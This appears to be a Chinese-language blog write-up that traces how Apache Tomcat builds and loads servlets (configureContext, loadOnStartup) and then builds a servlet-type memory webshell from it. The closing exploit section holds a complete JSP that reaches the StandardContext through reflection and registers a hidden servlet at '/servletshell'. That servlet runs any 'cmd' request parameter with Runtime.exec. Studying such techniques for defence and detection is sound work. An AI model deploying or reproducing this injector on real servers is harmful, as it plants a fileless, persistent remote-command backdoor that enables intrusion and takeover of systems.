流程分析
众所周知在Tomcat进行初始化的时候,三大组件遵循
我们直接来到栈顶的 StandardContext#configureContext() 这里。这个方法里面通过对web.xml进行解析,按照顺序把filterMaps,filterDef,StandardWrapper这样的对象给创建了出来,我们这里重点关注一下StandardWrapper这一部分。
private void configureContext(WebXml webxml) { // As far as possible, process in alphabetical order so it is easy to // check everything is present // Some validation depends on correct public ID context.setPublicId(webxml.getPublicId());... //设置StandardContext参数 for (ServletDef servlet : webxml.getServlets().values()) { //创建StandardWrapper对象 Wrapper wrapper = context.createWrapper(); if (servlet.getLoadOnStartup() != null) { //设置LoadOnStartup属性 wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue()); } if (servlet.getEnabled() != null) { wrapper.setEnabled(servlet.getEnabled().booleanValue()); } //设置ServletName属性 wrapper.setName(servlet.getServletName()); Map<String,String> params = servlet.getParameterMap(); for (Entry<String, String> entry : params.entrySet()) { wrapper.addInitParameter(entry.getKey(), entry.getValue()); } wrapper.setRunAs(servlet.getRunAs()); Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs(); for (SecurityRoleRef roleRef : roleRefs) { wrapper.addSecurityReference( roleRef.getName(), roleRef.getLink()); } //设置ServletClass属性 wrapper.setServletClass(servlet.getServletClass()); ... wrapper.setOverridable(servlet.isOverridable()); //将包装好的StandWrapper添加进ContainerBase的children属性中 context.addChild(wrapper); for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) { //添加路径映射 context.addServletMappingDecoded(entry.getKey(), entry.getValue()); } } ... } //上面这段加注释的都是搬运参考的,确实写的很好嗷在这段代码里,configureContext成功把StandWrapper创建了出来,并添加到了context.children里面。

创建完了之后,fireLifecycleEvent基本就是个出栈的过程了。我们回到StandardContext这里,继续跟进一下剩下的StandardWrapper加载流程。
把前置条件都准备好了,我们来到loadOnstartup这里,也就是加载Servlet的部分这里,由于loadOnStartUp这里比较重要,我们直接粘贴出来,就不截图了。

public boolean loadOnStartup(Container children[]) { // Collect "load on startup" servlets that need to be initialized TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>(); for (Container child : children) { Wrapper wrapper = (Wrapper) child; int loadOnStartup = wrapper.getLoadOnStartup(); //判断loadOnStartup的值,如果小于零直接不加载 if (loadOnStartup < 0) { continue; } Integer key = Integer.valueOf(loadOnStartup); ArrayList<Wrapper> list = map.get(key); if (list == null) { list = new ArrayList<>(); map.put(key, list); } list.add(wrapper); } // Load the collected "load on startup" servlets for (ArrayList<Wrapper> list : map.values()) { for (Wrapper wrapper : list) { try { wrapper.load(); }引用一下其他师傅给这里的分析
注意这里对于Wrapper对象中`loadOnStartup`属性的值进行判断,只有大于0的才会被放入list进行后续的`wrapper.load()`加载调用。
这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过`loadOnStartup`属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中。到这里为止Servlet的加载流程基本就结束了,正式来到Exp编写环节
Exp编写(引用)
通过上文的分析我们能够总结出创建Servlet的流程 1.获取StandardContext对象 2.编写恶意Servlet 3.通过StandardContext.createWrapper()创建StandardWrapper对象 4.设置StandardWrapper对象的loadOnStartup属性值 5.设置StandardWrapper对象的ServletName属性值 6.设置StandardWrapper对象的ServletClass属性值 7.将StandardWrapper对象添加进StandardContext对象的children属性中 8.通过StandardContext.addServletMappingDecoded()添加对应的路径映射
<%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.connector.Request" %><%@ page import="java.io.IOException" %><%@ page import="org.apache.catalina.Wrapper" %><%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext();%>
<%!
public class Shell_Servlet implements Servlet { @Override public void init(ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd !=null){ try{ Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }%>
<% Shell_Servlet shell_servlet = new Shell_Servlet(); String name = shell_servlet.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName());%>
<% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/servletshell",name);%>运行结果如下
